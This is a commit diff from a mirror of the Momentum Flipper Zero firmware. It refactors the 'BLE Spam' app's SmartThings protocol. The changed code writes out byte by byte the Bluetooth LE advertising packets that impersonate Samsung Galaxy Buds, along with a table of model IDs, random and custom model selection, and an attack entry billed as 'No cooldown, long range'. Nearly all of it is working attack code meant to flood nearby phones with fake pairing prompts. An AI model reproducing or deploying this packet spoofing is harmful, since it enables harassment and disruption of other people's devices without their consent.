Mirror/Momentum-Firmware
1
0
Fork 0
mirror of https://github.com/Next-Flip/Momentum-Firmware.git synced 2026-05-13 20:18:35 -07:00
Code Issues Packages Projects Releases Wiki Activity

BLE Spam refactor SmartThings for more types

Browse Source
This commit is contained in:
Willy-JL
2023-10-21 00:06:55 +01:00
parent 3f0b9f2d41
commit 5171b1645c
4 changed files with 145 additions and 99 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
applications/external/ble_spam/ble_spam.c vendored
View File

@@ -88,7 +88,7 @@ static Attack attacks[] = {
}, },
}, },
{ {
.title = "Samsung Earbuds Pair", .title = "Samsung Buds Pair",
.text = "No cooldown, long range", .text = "No cooldown, long range",
.protocol = &protocol_smartthings, .protocol = &protocol_smartthings,
.payload = .payload =

226
applications/external/ble_spam/protocols/smartthings.c vendored
View File

@@ -7,7 +7,7 @@
const struct { const struct {
uint32_t value; uint32_t value;
const char* name; const char* name;
} datas[] = { } buds_models[] = {
{0x39EA48, "Light Purple Buds"}, {0xA7C62C, "Bluish Silver Buds"}, {0x39EA48, "Light Purple Buds"}, {0xA7C62C, "Bluish Silver Buds"},
{0x850116, "Black Buds Live"}, {0x3D8F41, "Gray and Black Buds"}, {0x850116, "Black Buds Live"}, {0x3D8F41, "Gray and Black Buds"},
{0x3B6D02, "Bluish Chrome Buds"}, {0xAE063C, "Grey Beige Buds"}, {0x3B6D02, "Bluish Chrome Buds"}, {0xAE063C, "Grey Beige Buds"},
@@ -19,89 +19,117 @@ const struct {
{0xAE073A, "Black and White Buds"}, {0x011716, "Sleek Black Buds"}, {0xAE073A, "Black and White Buds"}, {0x011716, "Sleek Black Buds"},
{0x9D1700, "Fallback Image"}, {0xEE7A0C, "Fallback Buds"}, {0x9D1700, "Fallback Image"}, {0xEE7A0C, "Fallback Buds"},
}; };
const uint8_t datas_count = COUNT_OF(datas); const uint8_t buds_models_count = COUNT_OF(buds_models);
const char* smartthings_get_name(const ProtocolCfg* _cfg) { static const char* type_names[SmartthingsTypeMAX] = {
[SmartthingsTypeBuds] = "SmartThings Buds",
};
static const char* smartthings_get_name(const ProtocolCfg* _cfg) {
const SmartthingsCfg* cfg = &_cfg->smartthings; const SmartthingsCfg* cfg = &_cfg->smartthings;
UNUSED(cfg); return type_names[cfg->type];
return "SmartThings";
} }
static uint8_t packet_sizes[SmartthingsTypeMAX] = {
[SmartthingsTypeBuds] = 31,
};
void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) { void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) {
const SmartthingsCfg* cfg = _cfg ? &_cfg->smartthings : NULL; const SmartthingsCfg* cfg = _cfg ? &_cfg->smartthings : NULL;
uint32_t data; SmartthingsType type;
if(cfg && cfg->data != 0x000000) { if(cfg) {
data = cfg->data; type = cfg->type;
} else { } else {
data = datas[rand() % datas_count].value; type = rand() % SmartthingsTypeMAX;
} }
uint8_t size = 31; uint8_t size = packet_sizes[type];
uint8_t* packet = malloc(size); uint8_t* packet = malloc(size);
uint8_t i = 0; uint8_t i = 0;
packet[i++] = 27; // Size switch(type) {
packet[i++] = 0xFF; // AD Type (Manufacturer Specific) case SmartthingsTypeBuds: {
packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) uint32_t model;
packet[i++] = 0x00; // ... if(cfg && cfg->data.buds.model != 0x000000) {
packet[i++] = 0x42; model = cfg->data.buds.model;
packet[i++] = 0x09; } else {
packet[i++] = 0x81; model = buds_models[rand() % buds_models_count].value;
packet[i++] = 0x02; }
packet[i++] = 0x14;
packet[i++] = 0x15;
packet[i++] = 0x03;
packet[i++] = 0x21;
packet[i++] = 0x01;
packet[i++] = 0x00;
packet[i++] = (data >> 0x10) & 0xFF;
packet[i++] = (data >> 0x08) & 0xFF;
packet[i++] = 0x01;
packet[i++] = (data >> 0x00) & 0xFF;
packet[i++] = 0x06;
packet[i++] = 0x3C;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 16; // Size packet[i++] = 27; // Size
packet[i++] = 0xFF; // AD Type (Manufacturer Specific) packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
// Truncated AD segment, Android seems to fill in the rest with zeros packet[i++] = 0x00; // ...
packet[i++] = 0x42;
packet[i++] = 0x09;
packet[i++] = 0x81;
packet[i++] = 0x02;
packet[i++] = 0x14;
packet[i++] = 0x15;
packet[i++] = 0x03;
packet[i++] = 0x21;
packet[i++] = 0x01;
packet[i++] = 0x00;
packet[i++] = (model >> 0x10) & 0xFF;
packet[i++] = (model >> 0x08) & 0xFF;
packet[i++] = 0x01;
packet[i++] = (model >> 0x00) & 0xFF;
packet[i++] = 0x06;
packet[i++] = 0x3C;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 16; // Size
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
// Truncated AD segment, Android seems to fill in the rest with zeros
break;
}
default:
break;
}
*out_size = size; *out_size = size;
*out_packet = packet; *out_packet = packet;
} }
enum { enum {
_ConfigExtraStart = ConfigExtraStart, _ConfigBudsExtraStart = ConfigExtraStart,
ConfigData, ConfigBudsModel,
}; };
static void config_callback(void* _ctx, uint32_t index) { static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx; Ctx* ctx = _ctx;
SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
switch(index) { switch(cfg->type) {
case ConfigData: case SmartthingsTypeBuds: {
scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsData); switch(index) {
case ConfigBudsModel:
scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsBudsModel);
break;
default:
break;
}
break;
}
default: default:
break; break;
} }
} }
static void data_changed(VariableItem* item) { static void buds_model_changed(VariableItem* item) {
SmartthingsCfg* cfg = variable_item_get_context(item); SmartthingsCfg* cfg = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item); uint8_t index = variable_item_get_current_value_index(item);
if(index) { if(index) {
index--; index--;
cfg->data = datas[index].value; cfg->data.buds.model = buds_models[index].value;
variable_item_set_current_value_text(item, datas[index].name); variable_item_set_current_value_text(item, buds_models[index].name);
} else { } else {
cfg->data = 0x000000; cfg->data.buds.model = 0x000000;
variable_item_set_current_value_text(item, "Random"); variable_item_set_current_value_text(item, "Random");
} }
} }
@@ -111,28 +139,36 @@ static void smartthings_extra_config(Ctx* ctx) {
VariableItem* item; VariableItem* item;
size_t value_index; size_t value_index;
item = variable_item_list_add(list, "Data", datas_count + 1, data_changed, cfg); switch(cfg->type) {
const char* data_name = NULL; case SmartthingsTypeBuds: {
char data_name_buf[9]; item =
if(cfg->data == 0x000000) { variable_item_list_add(list, "Model", buds_models_count + 1, buds_model_changed, cfg);
data_name = "Random"; const char* model_name = NULL;
value_index = 0; char model_name_buf[9];
} else { if(cfg->data.buds.model == 0x000000) {
for(uint8_t i = 0; i < datas_count; i++) { model_name = "Random";
if(cfg->data == datas[i].value) { value_index = 0;
data_name = datas[i].name; } else {
value_index = i + 1; for(uint8_t i = 0; i < buds_models_count; i++) {
break; if(cfg->data.buds.model == buds_models[i].value) {
model_name = buds_models[i].name;
value_index = i + 1;
break;
}
}
if(!model_name) {
snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->data.buds.model);
model_name = model_name_buf;
value_index = buds_models_count + 1;
} }
} }
if(!data_name) { variable_item_set_current_value_index(item, value_index);
snprintf(data_name_buf, sizeof(data_name_buf), "%06lX", cfg->data); variable_item_set_current_value_text(item, model_name);
data_name = data_name_buf; break;
value_index = datas_count + 1; }
} default:
break;
} }
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, data_name);
variable_item_list_set_enter_callback(list, config_callback, ctx); variable_item_list_set_enter_callback(list, config_callback, ctx);
} }
@@ -144,24 +180,24 @@ const Protocol protocol_smartthings = {
.extra_config = smartthings_extra_config, .extra_config = smartthings_extra_config,
}; };
static void data_callback(void* _ctx, uint32_t index) { static void buds_model_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx; Ctx* ctx = _ctx;
SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings;
switch(index) { switch(index) {
case 0: case 0:
cfg->data = 0x000000; cfg->data.buds.model = 0x000000;
scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager);
break; break;
case datas_count + 1: case buds_models_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsDataCustom); scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsBudsModelCustom);
break; break;
default: default:
cfg->data = datas[index - 1].value; cfg->data.buds.model = buds_models[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager);
break; break;
} }
} }
void scene_smartthings_data_on_enter(void* _ctx) { void scene_smartthings_buds_model_on_enter(void* _ctx) {
Ctx* ctx = _ctx; Ctx* ctx = _ctx;
SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings;
Submenu* submenu = ctx->submenu; Submenu* submenu = ctx->submenu;
@@ -169,66 +205,66 @@ void scene_smartthings_data_on_enter(void* _ctx) {
bool found = false; bool found = false;
submenu_reset(submenu); submenu_reset(submenu);
submenu_add_item(submenu, "Random", 0, data_callback, ctx); submenu_add_item(submenu, "Random", 0, buds_model_callback, ctx);
if(cfg->data == 0x000000) { if(cfg->data.buds.model == 0x000000) {
found = true; found = true;
selected = 0; selected = 0;
} }
for(uint8_t i = 0; i < datas_count; i++) { for(uint8_t i = 0; i < buds_models_count; i++) {
submenu_add_item(submenu, datas[i].name, i + 1, data_callback, ctx); submenu_add_item(submenu, buds_models[i].name, i + 1, buds_model_callback, ctx);
if(!found && cfg->data == datas[i].value) { if(!found && cfg->data.buds.model == buds_models[i].value) {
found = true; found = true;
selected = i + 1; selected = i + 1;
} }
} }
submenu_add_item(submenu, "Custom", datas_count + 1, data_callback, ctx); submenu_add_item(submenu, "Custom", buds_models_count + 1, buds_model_callback, ctx);
if(!found) { if(!found) {
found = true; found = true;
selected = datas_count + 1; selected = buds_models_count + 1;
} }
submenu_set_selected_item(submenu, selected); submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
} }
bool scene_smartthings_data_on_event(void* _ctx, SceneManagerEvent event) { bool scene_smartthings_buds_model_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx); UNUSED(_ctx);
UNUSED(event); UNUSED(event);
return false; return false;
} }
void scene_smartthings_data_on_exit(void* _ctx) { void scene_smartthings_buds_model_on_exit(void* _ctx) {
UNUSED(_ctx); UNUSED(_ctx);
} }
static void data_custom_callback(void* _ctx) { static void buds_model_custom_callback(void* _ctx) {
Ctx* ctx = _ctx; Ctx* ctx = _ctx;
scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager);
} }
void scene_smartthings_data_custom_on_enter(void* _ctx) { void scene_smartthings_buds_model_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx; Ctx* ctx = _ctx;
SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings;
ByteInput* byte_input = ctx->byte_input; ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Data"); byte_input_set_header_text(byte_input, "Enter custom Model");
ctx->byte_store[0] = (cfg->data >> 0x10) & 0xFF; ctx->byte_store[0] = (cfg->data.buds.model >> 0x10) & 0xFF;
ctx->byte_store[1] = (cfg->data >> 0x08) & 0xFF; ctx->byte_store[1] = (cfg->data.buds.model >> 0x08) & 0xFF;
ctx->byte_store[2] = (cfg->data >> 0x00) & 0xFF; ctx->byte_store[2] = (cfg->data.buds.model >> 0x00) & 0xFF;
byte_input_set_result_callback( byte_input_set_result_callback(
byte_input, data_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); byte_input, buds_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
} }
bool scene_smartthings_data_custom_on_event(void* _ctx, SceneManagerEvent event) { bool scene_smartthings_buds_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx); UNUSED(_ctx);
UNUSED(event); UNUSED(event);
return false; return false;
} }
void scene_smartthings_data_custom_on_exit(void* _ctx) { void scene_smartthings_buds_model_custom_on_exit(void* _ctx) {
Ctx* ctx = _ctx; Ctx* ctx = _ctx;
SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings;
cfg->data = cfg->data.buds.model =
(ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
} }

12
applications/external/ble_spam/protocols/smartthings.h vendored
View File

@@ -4,8 +4,18 @@
// Hacked together by @Willy-JL and @Spooks4576 // Hacked together by @Willy-JL and @Spooks4576
// Research by @Spooks4576 // Research by @Spooks4576
typedef enum {
SmartthingsTypeBuds,
SmartthingsTypeMAX,
} SmartthingsType;
typedef struct { typedef struct {
uint32_t data; SmartthingsType type;
union {
struct {
uint32_t model;
} buds;
} data;
} SmartthingsCfg; } SmartthingsCfg;
extern const Protocol protocol_smartthings; extern const Protocol protocol_smartthings;

4
applications/external/ble_spam/protocols/smartthings_scenes.h vendored
View File

@@ -1,2 +1,2 @@
ADD_SCENE(smartthings_data, SmartthingsData) ADD_SCENE(smartthings_buds_model, SmartthingsBudsModel)
ADD_SCENE(smartthings_data_custom, SmartthingsDataCustom) ADD_SCENE(smartthings_buds_model_custom, SmartthingsBudsModelCustom)